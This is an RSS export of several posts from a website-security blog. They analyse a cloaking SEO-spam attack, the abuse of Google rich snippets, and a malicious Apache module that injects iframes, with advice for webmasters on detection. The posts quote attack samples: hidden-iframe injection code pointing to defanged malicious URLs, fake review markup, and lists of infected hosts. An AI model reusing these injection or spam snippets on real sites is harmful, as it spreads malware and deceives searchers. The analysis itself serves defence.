<p>If we check access logs, we&#8217;ll find those requests with the &#8220;<strong>Kaspersky Internet Security</strong>&#8221; User-Agent there. Those log entries will also show that the requests come not from directly the <strong>dtbnz.php</strong> script.  <span style="color: #993300;"><strong>mainserverprocess .net</strong></span>&#8217;s IP address is <strong>204.45.87.69</strong> while the &#8220;<strong>Kaspersky Internet Security</strong>&#8221; requests come from <strong>204.45.87.66</strong>. This means that spammers have at least two different servers (on the <em>Fdcservers.net</em> network), each of which has it&#8217;s own role in this attack.</p>
<h4>Googlebot visits</h4>
<p>If the <strong>dtbnz.php</strong> script detects a request from Google (based on the IP addresses sent by the cloaking script), it retrieves the HTML code of the hacked homepage just like in the above scenario, but before sending it back to the cloaking script on the hacked site, it makes some spammy modifications:</p>
<ul>
<li>Normal <strong>&lt;title&gt;</strong> is replaced with a spammy title.</li>
<li>A spammy descriptions is added to &lt;meta name=&#8221;<strong>description</strong>&#8221; content=&#8221;&#8230;&#8221;"/&gt;.</li>
<li>Sometimes (but not always) they also add a block of spammy links to other hacked sites. These links regularly change so that only the sites that currently bear the cloaking code (remember the &#8220;<strong>NZgroup</strong>&#8221; requests?) are being promoted.</li>
</ul>
<p>Example of the added link block:</p>
<p><code>&lt;div id="<strong>pharmacy</strong>"&gt;&lt;h1&gt;online pharmacy cialis&lt;/h1&gt;&lt;a href="http://www.example.com/" target="_blank"&gt;cialis online canada&lt;/a&gt; ...<strong>skipped many links</strong>....&lt;a href="http://example.org/" title="Cialis online 20mg"&gt;Cialis online 20mg&lt;/a&gt; ...<strong>skipped some spammy text about erectile dysfunction treatment drugs</strong>...&lt;/div&gt;</code></p>
<p>The rest content of the web page is left the same so that Google doesn&#8217;t flag it as suspicious for a radical content change.</p>
<h3>Clicks on Google search results</h3>
<p>So if spammers make Google index &#8220;pharma&#8221; keywords on the site what happens when people click on such search results?</p>
<p>The cloaking script checks the HTTP_REFERER header of requests and if it contains specific keywords (<em>viagra</em>, <em>cialis</em>, <em>propecia</em>, <em>lipitor</em>, and <em>nexium</em>) then it passes the keywords as the &#8220;<strong>pill</strong>&#8221; parameter to the <strong>dtbnz.php</strong> script. In all other cases the &#8220;pill&#8221; parameter is omitted.</p>
<p>When the <strong>dtbnz.php</strong> script sees known pills in requests then it simply fetches a corresponding online store pages from <span style="color: #993300;"><em>www .your-online-pharmacy .net</em></span> or <span style="color: #993300;"><em>www .rxprofits .com</em></span> and slightly modifies them so thatt they work properly off of a hacked site.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2013/03/pharma-page-for-visitors-from-google.jpg" border="0" alt="Pharma page for visitors from Google" /></div>
<p>If the <em>pills</em> parameter is omitted then the <strong>dtbnz.php</strong> script fetched an unmodified copy of the hacked site homepage.</p>
<h3>Summary</h3>
<p>As you can see this particular approach has a key features:</p>
<ol>
<li>The actual spammy content is not stored on a compromised server.
<ol>
<li>This makes malware footprint smaller and its discovery more difficult.</li>
<li>At the same time, it&#8217;s very flexible since hackers don&#8217;t have to break into compromised sites whenever they need to change anything.</li>
</ol>
</li>
<li>Spammy content is not directly coupled with the hacked site source code:
<ol>
<li>Webmasters can&#8217;t simply identify files with malicious code (e.g. if you see spammy keywords in the &lt;title&gt; tag, it doesn&#8217;t mean that the culprit is in your files that has or generates the <em>&lt;title&gt;</em> tag)</li>
<li>Hackers don&#8217;t have to customize their code for every site/CMS/template/etc. They just need to upload one file and inject a single line of code into any <em>*.php</em> file loaded during the homepage generation. The rest will be done by a remote server.</li>
</ol>
</li>
</ol>
<h3>To webmasters</h3>
<p>Although this particular cloaking attack does quite smart things to stay under the radar, webmasters can still easily detect it and find the offending files. They only need to use proper tools and follow essential security practices.</p>
<h4>High level detection</h4>
<p>Since the goal of cloaking is to have Google index spammy content on your site, Google is the best tool to detect such issues.</p>
<ol>
<li>Simple <span style="color: #888888;">[</span><em><strong>site:</strong>yourdomain.com</em><span style="color: #888888;">]</span> query can reveal strange titles and page descriptions of your web pages.</li>
<li>Most black hat SEO hacks focus on the following topics: <span style="color: #333333;"><em>counterfeit prescription drugs</em>, <em>payday loans</em>, <em>fake luxury goods</em>, <em>porn</em>, <em>pirated software and movies</em></span> so you use the <strong>site:</strong> searches along with corresponding keywords to find any pages that may contain them, for example: <span style="color: #888888;">[</span><em>site:example.com viagra OR cialis</em><span style="color: #888888;">]</span>. Of course this works only if your site does cover the same topics so the choice of the keywords is important. Here is a list of some keywords that may help reveal spam on your site: <em>viagra</em>, <em>cialis</em>, <em>tadalafil</em>, <em>zanax</em>, <em>zoloft</em>, <em>nexium</em>, <em>pharmacy</em>, <em>&#8220;payday loan&#8221;</em>, <em>gucci</em>, <em>chanel</em>, <em>&#8220;cheap luxury&#8221;</em>, <em>porn</em>, <em>poker</em>, <em>casino</em>, <em>&#8220;cheap Windows&#8221;</em>, <em>&#8220;OEM software&#8221;</em>.</li>
<li>Instead of doing the spammy keyword <strong>site:</strong> searches manually, you can setup <a href="http://www.google.com/alerts">Google alerts</a> and have Google notify you if it finds those keywords on your site.</li>
<li>Regularly check <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a> reports. Especially the &#8220;<strong>Traffic</strong>&#8221; section where you may spot strange &#8220;<strong>Search Queries</strong>&#8221; and &#8220;<strong>Links to Your Site</strong>&#8220;.</li>
<li>It&#8217;s always a good idea to check what Google actually sees when crawls your site. You can use the &#8220;<strong>Fetch as Googlebot</strong>&#8221; tool for that (in the &#8220;<strong>Health</strong>&#8221; section of Webmaster Tools).</li>
<li>You may also find <a href="http://www.UnmaskParasites.com/">Unmask Parasites</a> helpful. Of course, it can&#8217;t pick up every single black hat SEO trick but it&#8217;s proven to be quite efficient in revealing signs of cloaking (such as changed titles and spammy links). And it works in real time.</li>
</ol>
<h4>Low level detection</h4>
<p>While Google can help reveal black hat SEO hacks of your site, you can see signs of the problem only when your site has been hacked for quite some time. Moreover, Google&#8217;s reports can&#8217;t show you how exactly hackers broke into your site and how they modified it internally. That&#8217;s is where you need low level techniques &#8212; they usually require more technical knowledge but their results are more timely and accurate.</p>
<ol>
<li>Use some integrity control tool for your site. Something that notifies you about changes in the file system so that you know what, when and where changes. In case of the described attack, if the webmaster used some integrity monitoring tool, he would immediately know that someone created a new file (<em><strong>updtr</strong></em>) in the &#8220;<em><strong>images</strong></em>&#8221; directory and that the <em><strong>styles.php</strong></em> file was modified. He would also have information about any backdoors uploaded to his server. This would be enough to easily revert the changes and clean up the site.</li>
<li>Another useful technique is log analysis. Even if your site attracts lots of visitors and the logs are huge, you can still spot suspicious activity if you look for certain patterns.  For example, scan logs for all POST requests and then make a list of all requested files. Then check the list for files that should not be there or should not normally accept POST requests. Then you might want to get complete logs of activity of those IPs to figure out what else they did on your site.  This way you may spot requests to backdoors and vulnerable files.  Regular log analysis can help you detect latent security problem and identify the point of penetration so that you can properly close  security holes and prevent reinfections.</li>
</ol>
<p>Of course, don&#8217;t forget about all the rest best security practices (e.g. strong passwords, trusted up-to-date and fully patched software, strict permissions, malware-free local computers. etc.) and you may not have to deal with recovering your site after a hacker attack.</p>
<p><span style="color: #888888;"><strong>Related posts</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/12/20/rich-snippets-in-black-hat-seo/">Rich Snippets in Black Hat SEO</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/05/18/careless-webmasters-as-wordpress-hosting-providers-for-spammers/">Careless Webmasters as WordPress Hosting Providers for Spammers</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/01/cheap-vista-or-cloaked-spam-on-high-profile-sites/">“Cheap Vista” or Cloaked Spam on High-Profile Sites</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=wwxxAt1A5_4:2eOEEWGG8Xs:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=wwxxAt1A5_4:2eOEEWGG8Xs:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=wwxxAt1A5_4:2eOEEWGG8Xs:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=wwxxAt1A5_4:2eOEEWGG8Xs:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2013/03/11/cloaking-think-outside-of-your-box/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Rich Snippets in Black Hat SEO</title>
		<link>http://blog.unmaskparasites.com/2012/12/20/rich-snippets-in-black-hat-seo/</link>
		<comments>http://blog.unmaskparasites.com/2012/12/20/rich-snippets-in-black-hat-seo/#comments</comments>
		<pubDate>Thu, 20 Dec 2012 15:56:50 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[cloaking]]></category>
		<category><![CDATA[doorway]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[rich snippets]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=901</guid>
		<description><![CDATA[Competition in search marketing can be tough. Regardless of number of businesses/products/services relevant to a specific keyword there is only one top position and unless it&#8217;s your site at the top you miss out on the hefty share of the search traffic generated by that keyword. The lower the result is displayed the less attention [...]]]></description>
			<content:encoded><![CDATA[<p>Competition in search marketing can be tough. Regardless of number of businesses/products/services relevant to a specific keyword there is only one top position and unless it&#8217;s your site at the top you miss out on the hefty share of the search traffic generated by that keyword. The lower the result is displayed the less attention it gets.</p>
<p>Even if you are in &#8220;business&#8221; of black hat SEO and can use whatever dirty tricks you like, you still can&#8217;t guarantee the top position for the most popular keywords since there are already many established reputable sites and other black hats competing for the same keywords. But if you can&#8217;t always get the top position, you can still try to make your results look more attractive than the rest and increase their click through rate, right? Right! And this post will be about one of such tricks<br />
<span id="more-901"></span></p>
<p>Take a look at this screenshot. Which result does stand out of the rest?</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/12/picture2.gif" border="0" alt="" /></div>
<p>I guess you all noticed result <strong>#5</strong>.</p>
<p>Of course, <strong>#1</strong> will still get most of the clicks, but if searchers want to check some more results <strong>#5</strong> will definitely catch their attention:</p>
<ul>
<li>It&#8217;s the only result on the page with &#8220;<em>yellow stars</em>&#8221; so it naturally stands out of the rest &#8220;<em>blue-green-black</em>&#8221; results.</li>
<li>The stars are actually a representation of some &#8220;rating&#8221;. And the &#8220;rating&#8221; is quite high (<strong>83%</strong> &#8211; whatever it means) with thousands (<strong>4498</strong>!) of votes, which gives some &#8220;<em>social proof</em>&#8221; to this link.</li>
</ul>
<p>If you make a quick screenshot analysis you will notice that results <strong>#1</strong>, <strong>#2</strong>, <strong>#3</strong> and <strong>#6</strong> are most likely legitimate web pages with some information about the topic (articles, discussions) while results <strong>#4</strong> and <strong>#5</strong> are spammy doorways that lead to online stores selling counterfeit drugs.</p>
<p>If there were no &#8220;rating&#8221; snippet then results <strong>#4</strong> and <strong>#5</strong> would most likely be ignored by people who only search for some information. However, with this yellow hot spot, some of them will probably click on the result <strong>#5</strong>, whether out of curiosity or just because they don&#8217;t have a knack of result snippet analysis and the result with &#8220;rating&#8221; seems more credible to them.</p>
<p>On the other hand, if there were no rating snippet and someone was really interested in buying some generic pills then they would probably first click on the result <strong>#4</strong> and then (if not satisfied) on <strong>#5</strong>. But the rating snippet makes result <strong>#5</strong> much more attractive: despite of being displayed lower, it is more prominent and has some &#8220;social proof&#8221;, which may influence your decision a lot when you are going to purchase and consume something from an &#8220;unofficial source&#8221;.</p>
<h3 id="snippets">Rich snippets.</h3>
<p>These prominent yellow stars are one example of <a href="http://support.google.com/webmasters/bin/answer.py?answer=99170">rich snippets</a>. This is something that Google may display in search results in addition to normal snippets (title, URL, description) when it finds some structured data that it understands and that can help searchers with their specific queries. You might have seen various rich snippets in Google search results: prices of items for e-commerce pages, recipe details for cooking pages, author&#8217;s pictures next to posts of known authors, etc.</p>
<p>The result <strong>#5</strong> is displayed with a <a href="http://support.google.com/webmasters/bin/answer.py?answer=146645">&#8220;review&#8221; rich snippet</a>. The idea of such review snippets is they can help users better identify pages with good content. Unfortunately, they can be easily abused.</p>
<p>In this particular case, I want to describe a massive black hat SEO campain that involves hundreds of hacked legitimate websites where hackers used &#8220;<em>cloaking</em>&#8221; to make search engines see spammy content on thousands (if not millions) web pages instead of their legitimate content.  On this blog, you can find articles about <a href="http://blog.unmaskparasites.com/tag/black-hat-seo/">many other similar attacks</a>, but this one has a new feature &#8212; it uses microformats to have Google display rating rich snippets for the spammy search results.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/12/rating.gif" border="0" alt="Rating" /></div>
<h3 id="details">Attack details</h3>
<p>The attackers hack websites (at this point I mainly see WordPress and Joomla sites) and install some PHP code that detects search engine crawlers and either replaces legitimate content inside of certain tags (headers, lists, links ets.) with spammy keywords or replace the whole web pages. In addition, every such a cloaked page contain some specifically formatted rating data (microformat) which Google considers as legit and converts it to rating snippets in search results.</p>
<p>Examples of the HTML code for reviews used by spammers:</p>
<p><code>&lt;div class="<strong>hreview-aggregate</strong>"&gt;<br />
&lt;span  class="<strong>item</strong>"&gt;<br />
&lt;span class="<strong>fn</strong>"&gt;Viagra from india is the &lt;b style="color:black;background-color:#ffff66"&gt;best&lt;/b&gt;&lt;/span&gt;<br />
&lt;/span&gt;<br />
&lt;span class="<strong>rating</strong>"&gt;81%&lt;/span&gt;<br />
&lt;span class="<strong>votes</strong>"&gt;5102&lt;/span&gt; votes.<br />
&lt;/div&gt;</code></p>
<p>or</p>
<p><code>&lt;div xmlns:v="<strong>http://rdf.data-vocabulary.org/#</strong>" typeof="<strong>v:Review-aggregate</strong>"&gt;<br />
&lt;b&gt;&lt;span property="<strong>v:itemreviewed</strong>"&gt;Levitra kullanimi&lt;/span&gt;&lt;/b&gt;<br />
&lt;span rel="<strong>v:rating</strong>"&gt;&lt;span typeof="<strong>v:Rating</strong>"&gt;&lt;b&gt;<br />
&lt;span property="<strong>v:average</strong>"&gt;9.1&lt;/span&gt;&lt;/b&gt;  from &lt;b&gt;<br />
&lt;span property="<strong>v:best</strong>"&gt;10&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;<br />
&lt;span property="<strong>v:votes</strong>"&gt;494&lt;/span&gt;&lt;/b&gt; votes. Total &lt;b&gt;<br />
&lt;span property="<strong>v:count</strong>"&gt;494&lt;/span&gt;&lt;/b&gt; votes.<br />
&lt;/div&gt;</code></p>
<h4 id="subcampaigns">3 sub-campaigns</h4>
<p>At this point these spammers promote three types of sites:</p>
<ol>
<li><strong>Pills</strong>. Hacked pages contain the following text: <span style="color: #993300;"><em>THE BEST ONLINE PHARMACY. Bonus pills for every order</em></span>.</li>
<li><strong>Payday loans</strong>. Hacked pages contain the following text: <em><span style="color: #993300;">THE BEST PAYDAY LOANS. No fax needed. 15 Minute Loans. APPLY NOW!</span></em></li>
<li><strong>Porn</strong>. Hacked pages contain the following text: <span style="color: #993300;"><em>THE BEST FREE PORN Ads free sevice!</em></span></li>
</ol>
<p>The spammy pages usually have two main functions:</p>
<ol>
<li>They work as doorways to web sites they promote (human searcher oriented)</li>
<li>They reference other doorways to increase their page rank (search engine oriented)</li>
</ol>
<h4 id="doorways">Doorway functionality</h4>
<p>When Google users click on the doorway results, the malicious script on hacked sites detects it and, instead of the legitimate page (which is for direct visits only) and the cloaked page (which is for search engines only), it either shows the third variant (the spammy offer page) or simply redirects to third-party sites that pay for this targeted traffic.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2012/12/picture3.jpg" border="0" alt="" /></div>
<p>Right now the doorway pages redirect to:</p>
<ul>
<li><span style="color: #993300;">hxxp://rxstore24 .net/search/?currency=USD&amp;q=&#8230;</span></li>
<li><span style="color: #993300;">hxxp://worldbestonlinepharmacy.com/?wm=17750&amp;tr=8030</span></li>
<li><span style="color: #993300;">hxxp://googl-analistic .com/analis/in.cgi?15&amp;seoref&#8230;</span> (TDS)</li>
<li><span style="color: #993300;">hxxp://www.icashloans.com/?c=&#8230;</span></li>
<li><span style="color: #993300;">hxxp://allmoviesdownload .net/in.py?16&amp;ip&#8230;</span></li>
</ul>
<h3 id="webmasters">To webmasters</h3>
<p>From webmasters&#8217; perspective this hack is no different from the rest similar hacks except for one thing that makes detection easier.</p>
<p>In Google Webmaster Tools, there is a <a href="http://googlewebmastercentral.blogspot.ru/2012/07/introducing-structured-data-dashboard.html">Structured Data Dashboard</a> (Optimization-&gt;Structured Data) that should display information about all the structured data that Google has picked up on your site. If you don&#8217;t have any structured data (most sites still don&#8217;t) or you don&#8217;t use structured data for reviews/ratings you should notice that something is wrong if you see such data listed there.</p>
<p>That&#8217;s one of the reasons why you want to register all your sites with Google Webmaster Tools and regularly check all its reports &#8212; you can spot surprising things there if your site is hacked.</p>
<p>Some other Webmaster Tools reports that proved to be very useful for security problems detection:</p>
<ul>
<li><strong>Traffic</strong> -&gt; <strong>Search queries</strong>. This report shows keyword that people use to find your site on Google. If your site is about gardening and you see many &#8220;viagra&#8221; searches then there is definitely something wrong.  This report also shows pages that people visit after clicking on Google&#8217;s search results &#8212; you might not recognize some URLs if hackers created hidden sections on your site.</li>
<li><strong>Health</strong> -&gt; <strong>Fetch as Googlebot</strong>. If you see strange search queries but can&#8217;t find those keywords on your pages then use this tool to find out what Google sees when it loads your pages. In case of cloaking, your pages can be slightly modified or even completely unrecognizable.</li>
<li><strong>Health</strong> -&gt; <strong>Index Status</strong>. This report shows number of indexed pages on your site. If you see a spike and you know that you didn&#8217;t add that many pages lately, then they could be created by hackers.</li>
</ul>
<p>In addition to Google Webmaster Tools, you should monitor your site for unauthorized changes. Think about integrity or version control and regular backups.</p>
<p>##<br />
Do you have other examples of malicious use of Google&#8217;s rish snippets?</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/05/18/careless-webmasters-as-wordpress-hosting-providers-for-spammers/">Careless Webmasters as WordPress Hosting Providers for Spammers</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/03/14/major-disasters-in-poisoned-search-results/">Major Disasters in Poisoned Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/10/01/cheap-vista-or-cloaked-spam-on-high-profile-sites/">“Cheap Vista” or Cloaked Spam on High-Profile Sites</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=oDNWalFE8j4:g7RfHBD_p58:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=oDNWalFE8j4:g7RfHBD_p58:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=oDNWalFE8j4:g7RfHBD_p58:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=oDNWalFE8j4:g7RfHBD_p58:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/12/20/rich-snippets-in-black-hat-seo/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>The Crocodile Hunter Meets Badware in the Wild</title>
		<link>http://blog.unmaskparasites.com/2012/10/01/the-crocodile-hunter-meets-badware-in-the-wild/</link>
		<comments>http://blog.unmaskparasites.com/2012/10/01/the-crocodile-hunter-meets-badware-in-the-wild/#comments</comments>
		<pubDate>Mon, 01 Oct 2012 16:53:12 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Hosting+Security]]></category>
		<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[awareness]]></category>
		<category><![CDATA[bluehost]]></category>
		<category><![CDATA[StopBadware]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=897</guid>
		<description><![CDATA[October is a cyber security awareness month so lets start it with the most hilarious web security awareness video I&#8217;ve ever seen.

It is brought to you by StopBadware.org and Bluehost.

Here&#8217;s my boring summary of the video

Keep your software up-to-date &#8212; both on your local computer and on your server.
Use strong passwords &#8212; and don&#8217;t use [...]]]></description>
			<content:encoded><![CDATA[<p>October is a <a href="http://www.staysafeonline.org/ncsam">cyber security awareness month</a> so lets start it with <strong>the most hilarious web security awareness video</strong> I&#8217;ve ever seen.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="315" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/tqM3D83GBRE?version=3&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="315" src="http://www.youtube.com/v/tqM3D83GBRE?version=3&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>It is brought to you by <a href="http://www.stopbadware.org">StopBadware.org</a> and <a href="http://www.bluehost.com/blog/bluehost/stop-badware-and-protect-your-website-1474">Bluehost</a>.<br />
<span id="more-897"></span><br />
Here&#8217;s my boring summary of the video</p>
<ul>
<li><strong>Keep your software up-to-date</strong> &#8212; both on your local computer and on your server.</li>
<li><strong>Use strong passwords</strong> &#8212; and don&#8217;t use the same passwords everywhere.</li>
<li><strong>Delete unused or unnecessary software</strong> &#8212; again both on your local computer and on your server. The fact that you don&#8217;t use all those plugins, themes and scripts won&#8217;t stop a hacker to exploit their vulnerabilities to break into your system.</li>
<li><strong>Use a secure web host</strong> &#8212; and don&#8217;t mess with security settings unless you know what you are doing. (Yeah, I know, this video is created by Bluehost) While it is true, it&#8217;s usually hard to tell how secure a web host is. At the same time some of the default settings of web hosts are quite questionable. E.g why do most of them still push clients to use FTP instead of SFTP and save passwords in FTP clients? (Based on tutorials I see in their knowledge bases).</li>
<li><strong>Don&#8217;t take Safe Browsing security warnings lightly</strong> &#8212; they are there for a reason. If your site is blacklisted, make sure to check <a href=" http://www.google.com/webmasters/tools/">Google Webmaster Tools</a> (Health -&gt; Malware) for additional information. You will also find the &#8220;request a review&#8221; link there &#8212; use it to ping Google when the issue is resolved so that it can check and unblock your site.</li>
</ul>
<p>Some more no-brainers</p>
<ul>
<li>Use a reputable anti-virus software and update it regularly.</li>
<li>Don&#8217;t click on emails unless you really trust a sender.</li>
<li>And honestly, ads that promise  to send you a new iPhone or some other valuable prize for free are just malware traps.</li>
</ul>
<p>Simple, funny and to the point.  Did you see any other security awareness videos that are at least not boring?</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/01/11/matt-cutts-on-malware/">Matt Cutts on Malware</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=NT8nvzhFx2E:11dJziBwKa4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=NT8nvzhFx2E:11dJziBwKa4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=NT8nvzhFx2E:11dJziBwKa4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=NT8nvzhFx2E:11dJziBwKa4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/10/01/the-crocodile-hunter-meets-badware-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malicious Apache Module Injects Iframes</title>
		<link>http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/</link>
		<comments>http://blog.unmaskparasites.com/2012/09/10/malicious-apache-module-injects-iframes/#comments</comments>
		<pubDate>Mon, 10 Sep 2012 11:08:40 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Short Attack Reviews]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[beladen]]></category>
		<category><![CDATA[dlEngine]]></category>
		<category><![CDATA[httpd.conf]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[mod_log.so]]></category>
		<category><![CDATA[mod_spm_headers.so]]></category>
		<category><![CDATA[mod_spm_mem.so]]></category>
		<category><![CDATA[YWZmaWQ9MDUyODg=]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=895</guid>
		<description><![CDATA[It&#8217;s a follow up to my post about server-wide iframe injection attack where I asked for any information about that tricky hack. Thanks to my readers and administrators of infected servers I have some new information about it. Now I know how it works and what is infected, but still have no idea how hackers [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s a follow up to my <a href="http://blog.unmaskparasites.com/2012/08/13/rfi-server-wide-iframe-injections/">post about server-wide iframe injection attack</a> where I asked for any information about that tricky hack. Thanks to my readers and administrators of infected servers I have some new information about it. Now I know how it works and what is infected, but still have no idea how hackers break into servers, so your input is welcome.<br />
<span id="more-895"></span></p>
<h3 id="recap">Recap</h3>
<p>This attack injects invisible malicious iframes into <em>some</em> server responses of <strong>all</strong> web sites on compromised servers. Typical code looks like this:</p>
<p><code>&lt;style&gt;.tlqvepxi { position:absolute; left:-1648px; top:-1752px} &lt;/style&gt; &lt;div class="tlqvepxi"&gt;<br />
&lt;iframe src="<strong>hxxp://matisere .com/21234443.html</strong>" width="581" height="476"&gt;&lt;/iframe&gt;&lt;/div&gt;</code></p>
<p>in web pages and</p>
<p><code>document.write('&lt;style&gt;.hmfabv9 { position:absolute; left:-1141px; top:-1518px} &lt;/style&gt; &lt;div class="hmfabv9"&gt;<br />
&lt;iframe src="<strong>hxxp://sepatch .org/35204443.html</strong>" width="122" height="202"&gt;&lt;/iframe&gt;&lt;/div&gt;');</code></p>
<p>in <strong>.js</strong> files.</p>
<p>All numeric parts and style names in this code are random.  Iframe URLs synchronously change on all infected servers several times a day. They point to malicious pages on compromised third-party legitimate sites:</p>
<p><span style="color: #993300;">hxxp://<strong>sepatch .org</strong>/35204443.html<br />
hxxp://<strong>ksner .pl</strong>/79144443.html<br />
hxxp://<strong>hdreceivermitfestplatte .com</strong>/84064443.html<br />
hxxp://<strong>quandlarcencielnaitra .com</strong>/14464443.html<br />
hxxp://<strong>sepatch .org</strong>/35204443.html<br />
hxxp://<strong>zsaugustowo .pl</strong>/40534443.html<br />
hxxp://<strong>matisere .com</strong>/76254443.html<br />
hxxp://<strong>pokercompany  .com</strong>/46254443.html<br />
hxxp://<strong>goplast .it</strong>/61114443.html<br />
hxxp://<strong>grupamuzyczna .foxnet .pl</strong>/54344443.html<br />
hxxp://<strong>michaelgaigg .com</strong>/88224443.html<br />
hxxp://<strong>enertres .com</strong>/95154443.html<br />
hxxp://<strong>sexualreawakening .com</strong>/56684443.html<br />
hxxp://<strong>deasocial .com</strong>/65674443.html<br />
hxxp://<strong>stampsbypost .com</strong>/44644443.html<br />
hxxp://<strong>pcstation .es</strong>/32634443.html<br />
hxxp://<strong>awakenedwithin .com</strong>/41714443.html<br />
hxxp://<strong>paraguana .diocesis .ws</strong>/27944443.html<br />
hxxp://<strong>viveenarte .com .ar</strong>/31744443.html<br />
hxxp://<strong>thinkipa .com</strong>/52984443.html<br />
hxxp://<strong>barclaywebdesign .ca</strong>/36234443.html<br />
hxxp://<strong>mullerinstalacoes .com .br</strong>/99814443.html<br />
hxxp://<strong>ultimateplrpack .com</strong>/51794443.html<br />
hxxp://<strong>hotelcandeiasubatuba .com .br</strong>/14464443.html<br />
hxxp://<strong>astroindia .com</strong>/15854443.html<br />
hxxp://<strong>zerrozipshoppos .com</strong>/?a=YWZmaWQ9MDUyODg=<br />
hxxp://<strong>webtrackerswimp .org</strong>/?a=YWZmaWQ9MDUyODg=<br />
hxxp://<strong>bombkansas .info</strong>/?a=YWZmaWQ9MDUyODg=<br />
hxxp://<strong>motorcyclecycling .org</strong>/?a=YWZmaWQ9MDUyODg=<br />
&#8230;</span></p>
<p>As you can see all URLs end with either &#8220;<em><strong>4443.html</strong></em>&#8221; or &#8220;<em><strong>?a=YWZmaWQ9MDUyODg=</strong></em>&#8220;. Such URLs are good both for tracking and for adding appropriate rewrite rules for relatively random URLs on compromised sites.</p>
<h3 id="module">Malicious Apache module</h3>
<p>It turned out that all affected servers had infected Apache web server. Specifically, there was a malicious Apache <strong>.so</strong> module that injected all those iframes into server responses.</p>
